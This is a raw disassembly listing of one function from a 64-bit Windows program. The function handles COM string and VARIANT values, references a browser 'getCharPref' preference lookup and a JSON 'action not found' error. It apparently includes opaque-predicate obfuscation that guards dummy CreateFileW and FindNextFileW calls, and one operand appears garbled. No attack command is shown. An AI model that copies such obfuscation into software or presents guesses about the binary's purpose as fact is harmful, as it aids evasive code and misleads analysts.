call fcn.1400d2e28
mov qword [rsp + 0xda8], rax
mov rcx, rax
call fcn.1400d3f08
lea rdx, [0x140160540]
lea rcx, [rsp + 0x398]
call fcn.140003770
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x138], rbx
mov rcx, qword [rsp + 0x398]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x748], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ca5f
mov rdx, qword [rsp + 0x748]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r13, qword [rsp + 0x138]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006cbe4
lea rcx, [rsp + 0x130]
call fcn.140002270
nop
test r13, r13
je 0x14006cab8
mov r9, r13
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x130]
call fcn.14004dd00
jmp 0x14006cb6f
lea rax, [rsp + 0x758]
mov qword [rsp + 0xdb8], rax
lea rdx, [0x14015d59c]
lea rcx, [rsp + 0x758]
call fcn.1400022b0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d0d48]
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x768]
call fcn.14004d270
mov qword [rsp + 0xdc8], rax
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.1400023d0
nop
mov rcx, qword [rsp + 0x768]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x778], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cb51
mov rdx, qword [rsp + 0x778]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x14006cb6f
mov rcx, qword [rsp + 0x130]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x690], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xdd8], rax
test rax, rax
jne 0x14006cb99
call fcn.140002650
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x130]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x798], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cbd9
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r14d, 1
jmp 0x14006cd64
mov ebx, r15d
mov dword [rsp + 0x88], ebx
mov dword [rsp + 0xe0], 0xffffffff
test r13, r13
je 0x14006ccd7
mov r8d, dword [0x1401d5d60]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
mov r14d, 1
cmp ecx, 0xa
jne 0x14006cc49
test r8d, r8d
cmove r8d, r14d
mov dword [0x1401d5d60], r8d
mov r9, r13
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0xe0]
call fcn.14004df30
movzx esi, al
mov byte [rsp + 0x72], al
mov r8d, dword [0x1401d5d60]
imul r8d, r8d
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0x14
jne 0x14006ccc0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [rsp + 0xe0]
cmp eax, 0xffffffff
je 0x14006cd3e
mov ebx, eax
mov dword [rsp + 0x88], eax
jmp 0x14006cd39
lea rax, [rsp + 0x7a8]
mov qword [rsp + 0xde8], rax
lea rdx, [0x14015d5bc]
lea rcx, [rsp + 0x7a8]
call fcn.1400022b0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d0d48]
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x88]
call fcn.14004e240
movzx esi, al
mov byte [rsp + 0x72], al
mov r14d, 1
mov ebx, dword [rsp + 0x88]
cmp ebx, 0xffffffff
jne 0x14006cd55
test sil, sil
jne 0x14006cd55
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
jmp 0x14006cd64
mov dword [r12 + 8], ebx
mov eax, 0x16
mov word [r12], ax
mov rcx, qword [rsp + 0xb8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cd96
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cdd8
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006cdd8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r14d, 1
lea rcx, [rsp + 0x40]
call fcn.140002350
nop
lea rcx, [rsp + 0x59d0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
mov bl, 1
mov r13, qword [rsp + 0x3b8]
jmp 0x14006cf1e
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x3c8]
call fcn.140003310
nop
lea rdx, [rsp + 0x3c8]
mov rcx, qword [rsi + 0x40]
call fcn.140061a30
nop
mov rcx, qword [rsp + 0x3c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ce7d
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x14006ce95
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cee0
mov rdx, qword [rsp + 0x7e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
mov r14d, 1
jmp 0x14006cf1e
mov r9d, dword [0x1401d5d60]
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0xb21642c9
imul r8d
add edx, r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub r8d, edx
cmp r8d, 0xa
jne 0x14006cf60
dec r9d
mov dword [0x1401d5d60], r9d
test bl, bl
jne 0x14006cf6e
test r12, r12
je 0x14006cf6e
mov word [r12], r14w
mov rdx, qword [r13]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r15d
dec r15d
jg 0x14006cf8b
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, bl
mov rcx, qword [rsp + 0xe670]
xor rcx, rsp
call fcn.1400d37e0
movaps xmm6, xmmword [rsp + 0xe680]
add rsp, 0xe690
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret